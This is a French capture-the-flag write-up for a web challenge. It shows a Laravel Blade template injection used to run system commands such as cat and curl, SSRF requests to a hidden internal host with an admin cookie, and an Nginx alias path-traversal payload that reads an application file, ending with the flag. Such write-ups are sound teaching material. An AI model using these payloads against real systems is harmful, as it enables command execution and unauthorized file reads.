RealBe


Introduction

Le but de ce challenge easy est de trouver des informations sur les personnes ayant modifié les crédits du film “L’s Dead” de la réalisatrice “Line Huks”.

On a donc un site internet, avec quelques images et un formulaire. Overview

Formulaire

Lorsque l’on test de renseigner le film “Test” de la réalisatrice “Line Hunks”, on a le message d’erreur suivant : Error not found

Mais, si on rentre le nom du film “L’s Dead” comme prévu, on a une page qui apparait.

Sur cette page, nous avons un formulaire, contenant une SSTI, comme vous pouvez le constater : New Form + SSTI

SSTI

Après pas mal de tests, il semblerait qu’on soit sur Blade de Laravel, car l’injection {{ $name }} nous renvoie une erreur.

Blade SSTI

En faisant un {{ system("cat get_url.php") }}, afin de lire le fichier get_url avec lequel on joue depuis tout à l’heure, on se rend compte que l’on a dans le fichier (et donc dans les commentaires HTML du site), la chose suivante:

echo "      </ul>\n";
echo "      <!-- service interne : invisible_server -->\n";
echo "    </section>\n";
echo "  </main>\n";

Cela nous indique qu’un service, que l’on peut resolve sous invisible_server est disponible.

{{ system("curl -H 'X-forwarded-for: 127.0.0.1' http://invisible_server/") }} nous renvoie une 403 d’Apache. Et en tapant la route /flag, on a:

Invalid URL

Très longtemps plus tard

Ok. Bon là, on rentre dans la partie un peu guess du challenge. Vous vous rappelez du commentaire dans le HTML ?

Il précise 2 choses :

  1. Qu’on a un service interne qui tourne
  2. Sur le hostname invisible_server.

De fait, il faut taper la route /interne du serveur invisible_server.

{{ system("curl -iX OPTIONS 'http://invisible_server/interne/'")}}: Interne invisible server

Internal secrets

Et alors là, faites places pour assister au plus grand troll de l’histoire :

Essayons ls:

{{ system("curl -iX OPTIONS 'http://invisible_server/interne/ls'")}}: ls invisible server

Essayons flag_hint:

{{ system("curl -iX OPTIONS 'http://invisible_server/interne/flag_hint'")}}: flag_hint invisible server

Essayons flag:

{{ system("curl -iX OPTIONS 'http://invisible_server/interne/flag'")}}: flag invisible server

Essayons help:

{{ system("curl -iX OPTIONS 'http://invisible_server/interne/help'")}}: help invisible server

Essayons config:

{{ system("curl -iX OPTIONS 'http://invisible_server/interne/config'")}}: config invisible server

Et alors là, preuve de bonne volonté, c’est partie pour des dizaines de requêtes à la main, sur tous les paths de toutes les applications possibles pour essayer de leak le /flag avec les cookies administrateurs.

Les créateurs du challenge pendant ce temps devaient bien rigoler :

Au final, prenez encore une grande respiration, et commencer à toucher vos rêves les plus fous.

Vous vous souvenez de la page help ? Celle où on vous dit que les secrets ne sont pas visible.

Bon bah oui, encore une fois … Peut-être qu’il faut essayer d’accéder aux secrets. Fin, ceci-dit, vous n’en cherchez qu’un, le flag, alors testons secret:

{{ system("curl -X GET -v -i --cookie 'admin_token=supersecretflag123' 'http://invisible_server/interne/secret'") }} Invisible server interne secret

Very internal hidden invisible secret

Voici la structure de dossier donnée, mais en mieux formatée :

webapp
├── app
│   ├── todo.txt
│   └── webroot
│   └── index.html
└── static
    ├── capybara_detective.png
    ├── snoopy_in_a_lab.png
    ├── L-is-dead.mp4
    └── L-is-dead_DGSI.mp4.mp4

Notre objectif ici, si vous ne l’avez pas encore compris, c’est de ne pas lire le message de la page qui nous dit simplement :

“Le but reste de vérifier que les noms donnés dans les crédits ne divulguent pas ceux des agents du ministère.”

Bon, comme c’est original, et encore pour vous faire perdre un peu de temps, je vous épargne la recherche des 7 différences, et l’originalité des noms qui dans la vidéo original forme l’alphabet complet, et dans la vidéo de la DGSI forment à 4 DGSI. Tient, comme c’est drôle.

Une fois votre temps écoulé, vos espoirs refoulés, et que vous avez compris que pour rendre plus difficile un challenge web, il suffisait de faire tourner en rond les joueurs, vous aurez envie de voir autre chose.

Le todo.txt par exemple.

Nginx alias LFI

Déjà, première chose, quand on clique sur le lien du dossier, on a l’image suivante : Static import

L’image importée, regardez-la bien, car son chemin d’accès est intéressant. Par rapport à la structure de dossier, son accès via ../../static nous donne un indice.

Le fichier que l’on regarde se situe probablement dans le dossier app. D’ailleurs, le /index.html renvoie le même résultat, mais le /todo.txt une page 500.

Tout d’abord, il est important de comprendre que l’on est sur un Nginx (1.27.5).

Ensuite, l’image est belle et bien chargée, donc le dossier /static est servit directement dans une rule Nginx.

Le fait que l’on soit sous Nginx, fait que l’on est probablement sur une attaque dû à un mauvais usage de alias dans la configuration Nginx.

Dans Nginx, on a 2 manières de servir un dossier :

  1. Utiliser la configuration root, qui permet de concaténer le chemin de localisation au path demandé.
  2. Utiliser alias, qui va remplacer le chemin de localisation avec le path demandé.

Par exemple, pour le dossier static, si la configuration utilisait root:

location /static/ {
    root /var/www/app/;
    autoindex off;
}

Si on appelait notre fichier capybara_detective.png, on pourrait envoyer une requête :

GET /static/capybara_detective.png

Et Nginx irait chercher dans le dossier :

/var/www/app/ + /static/ + capybara_detective.png
↑               ↑          ↑
root            location   path

Par contre, avec la configuration alias :

location /static/ {
    alias /var/www/webapp/static/;
    autoindex off;
}

Ici, remarquez que j’ai laissé le /static/ dans l’alias.

Si on appelait notre fichier capybara_detective.png, on pourrait envoyer une requête :

GET /static/capybara_detective.png

Et Nginx irait chercher dans le dossier :

/var/www/webapp/static/ + capybara_detective.png
↑                         ↑
alias                     path

Ici, il s’est passé 2 choses :

  1. Le path de la localisation a été replacé par celui de l’alias. Donc le /static/ de la localisation a été retiré du path, puis on a concaténé l’alias avec le path.
  2. Le reste du path a été concaténé à celui de l’alias.

En partant de ça, si une missconfiguration est faite sur la location, par exemple :

location /static {
    alias /var/www/webapp/static/;
    autoindex off;
}

Si l’on envoit une requête /static_coucou/test.jpg, alors le chemin de location va matcher, et l’alias va juste remplacer la location, soit /static.

Donc on va se retrouver avec le chemin suivant :

/var/www/webapp/static/ + _coucou/test.jpg
↑                         ↑
alias                     path

On peut donc exloiter cette vulnérabilité pour lire des fichiers arbitraire. Dans notre cas, le todo.txt.

En envoyant le path: /static../app/todo.txt

on va lire le fichier:

/var/www/webapp/static/ + ../app/todo.txt
↑                         ↑
alias                     path

De fait, on pourra lire le fichier app/todo.txt.

http://57.128.85.25:50014/static../app/todo.txt

Flag

Flag: SHLK{ssrf_f0und_th3_h1dd3n_p4th}